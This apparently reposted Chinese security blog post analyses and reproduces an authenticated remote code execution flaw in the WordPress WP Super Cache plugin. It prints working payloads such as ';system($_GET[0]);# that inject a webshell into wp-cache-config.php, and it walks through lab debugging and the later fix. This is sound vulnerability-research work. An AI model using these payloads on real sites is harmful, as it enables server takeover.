0x00 概述
202103,网上曝出WordPress Plugin WP Super Cache 1.7.1 Remote Code Execution (Authenticated)漏洞。
该漏洞需要登录wp后台。
这是个典型的”写入配置文件getshell”的例子。
0x01 漏洞分析
WordPress 常用函数trailingslashit():调用untrailingslashit()并在末尾添加 /
untrailingslashit():移除字符串右侧的\和/两个字符。
dirname():函数返回路径中的目录名称部分
realpath():函数返回绝对路径。该函数删除所有符号连接(比如 '/./', '/../' 以及多余的 '/'),并返回绝对路径名。如果失败,该函数返回 FALSE。
basename():函数返回路径中的文件名部分
rtrim():函数移除字符串右侧的空白字符或其他预定义字符。
realpath函数会把结尾的/去掉。
最后传入$cache_path这个字符串,更新后的缓存路径,wp-cache-config.php文件。
$new即更新后的$cache_path,用户可控!
构造:
$cache_path = 'evil_input'; //Added by WP-Cache Manager
首先闭合前面的单引号,再注释掉后面的‘;即可
由于用//注释会被basename()去掉,所以用#来达到注释的效果。
最终payload:
';system($_GET[0]);#
或者:
这个payload也可以
/cache/';system($_GET[0]);?><!--
但是会有很多warning,而且格式混乱了不够美观。
0x02 漏洞重现
env:wordpress5.8+wp super cache1.4.8+phpstudy+php7.0.12+mysql5.5.53
https://wordpress.org/plugins/wp-super-cache/
只关注第31行即可
$cache_path = WP_CONTENT_DIR . '/cache/';
网上某篇分析文章的截图:
首先使用payload:
d:\wordpress_path/cache/';system($_GET['x']);#
发现payload没有写入进wp-cache-config.php,第31行内容没有变化,并且web页面反馈正常。
波折1:不可写?
首先怀疑是写入权限的问题
缓存位置输入框下有这样的提示:
很快排除这个可能,因为:
1:phpstudy是本地用户启动,权限够高。
2:wp super cache插件设置页面也提示wp-content路径可写。
3:尝试使用正常值aaa更新写入成功。
注意到修改成功会有个rename()的warning
波折2:版本问题?
其次想到是否是wp super cache不同版本会有细微的不同处理导致该payload失效,
遂尝试wp super cache 1.7.1,也是一样的效果。
故受版本影响的概率极小,暂时排除版本问题。
波折3:关键代码测试
抠出关键的两段代码,对关键变量进行输出测试。
复制/wp-include/formatting.php和wp-cahce-config.php到测试目录,再稍微修改关键代码即可。
结果发现该payload可以顺利写入,所以依旧没能找到原因,准备大刀阔斧利用phpstorm进行wordpress动态调试了。
波折4:输入处理?
继而想到可能wordpress/wp super cache某地方有做
$_POST[‘wp_cache_location’]
的过滤处理,结合波折2及相关分析,感觉概率极小,故暂时排除。
波折5:逐个排除特殊字符
既然正常值aaa没问题,而payload出现问题,那只可能是payload中的特殊字符有问题了。
先输入单引号,出现报错,可以写入单引号
d:\wordpress_path/cache/'
当输入到
D:\wordpress_path/cache/';system($_GET['])
中括号出现一个单引号,web页面反馈正常,wp-cache-config.php文件31行无变化,写入失败,
两个单引号也一样,那么问题就是在这位置的单引号了,更换payload。
成功payload:
d:\wordpress_path/cache/';system($_GET[0]);#
直接在当前的wp super cache设置页面传参即可
http://127.0.0.1:8899/lsawebtest/vulweb/wordpress/wordpress-v5-8/wp-admin/options-general.php?page=wpsupercache&tab=settings&0=whoami
经测试发现/cache/这个不能改,否则还是没效果。
或者需要改成存在的缓存文件夹(如前面波折1测试生成的aaa文件夹就行)
再回头看看网上某分析文章的代码:
为什么输入了中括号内有单引号还成功就不得而知了。(可能是截图放错了,实际使用的payload是没单引号那个)
0x03 漏洞修复
查看v1.7.4版本,增加了正则替换相关特殊字符为空,暂时没想到绕过方法。
wp-cache-config.php文件格式不对会报错无法rce。
漏洞文件很多地方都调用了这个函数,可能会有不同的构造方法,找找没过滤而且可以控的变量,稍微看了一下暂时没发现可利用点。
0x04 单引号之谜
为何中括号内有单引号就无法更新第31行呢?
推测是$new_cache_path/$dir这个变量并不是构造的恶意代码,而是因为存在单引号所以$dir被赋值为默认的WP_CONTENT_DIR . '/cache/';
所以没经过写入函数wp_cache_replace_line()。
即加了单引号使得这个第一个if为假了。(结合页面反馈正常,判断出第二个if没进入也可以辅助证明这一点)
if ( $new_cache_path != $cache_path ) {
if ( file_exists( $new_cache_path ) == false )
rename( $cache_path, $new_cache_path );
$cache_path = $new_cache_path;
wp_cache_replace_line('^ *\$cache_path', "\$cache_path = '" . $cache_path . "';", $wp_cache_config_file);
}
找到该变量$cache_path
看来还是要动态调试......
让一切玄学在动态调试前无所遁形!
开始动态调试:
wp_cache_location传值正常!
$_POST['wp_cache_location']
D:\\phpStudy\\WWW\\lsawebtest\\vulweb\\wordpress\\wordpress-v5-8/wp-content/cache/\';system($_GET[\'x\']);#
dirname()后值出现异常!!!
‘];#这个几个字符咋没了???
D:\phpStudy\WWW\lsawebtest\vulweb\wordpress\wordpress-v5-8/wp-content/cache/\';system($_GET[\'x
接着经过realpath()后返回了false使得$dir为false从而赋值为默认的WP_CONTENT_DIR . '/cache/'
所以无法进入第一个if也就无法进入
wp_cache_replace_line('^ *\$cache_path', "\$cache_path = '" . $cache_path . "';", $wp_cache_config_file);
最后便没有修改第31行$cache_path = WP_CONTENT_DIR . '/cache/';
和前面分析的基本一致!
那么dirname()后,’];#这个几个字符咋没了???
是因为加了转义的\,最后一个\在x\’]这个位置,所以dirname()判断最后一个单引号之前为目录了。(’];#成了文件名)
至于\怎么加的,不深究了。
0x05 结语
1.不要过于相信网上的一些漏洞分析和payload。
2.逐步排查,排除了所有的不可能,剩下的无论多么难以置信,那就是真相。
3.保持冷静,注意细节。
4.payload越精简越好,尽量避免特殊字符。
5.遇到阻碍,放松一下过段时间再分析可能就解决了。
0x06 参考资料
https://www.exploit-db.com/exploits/49718
BY:先知论坛
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论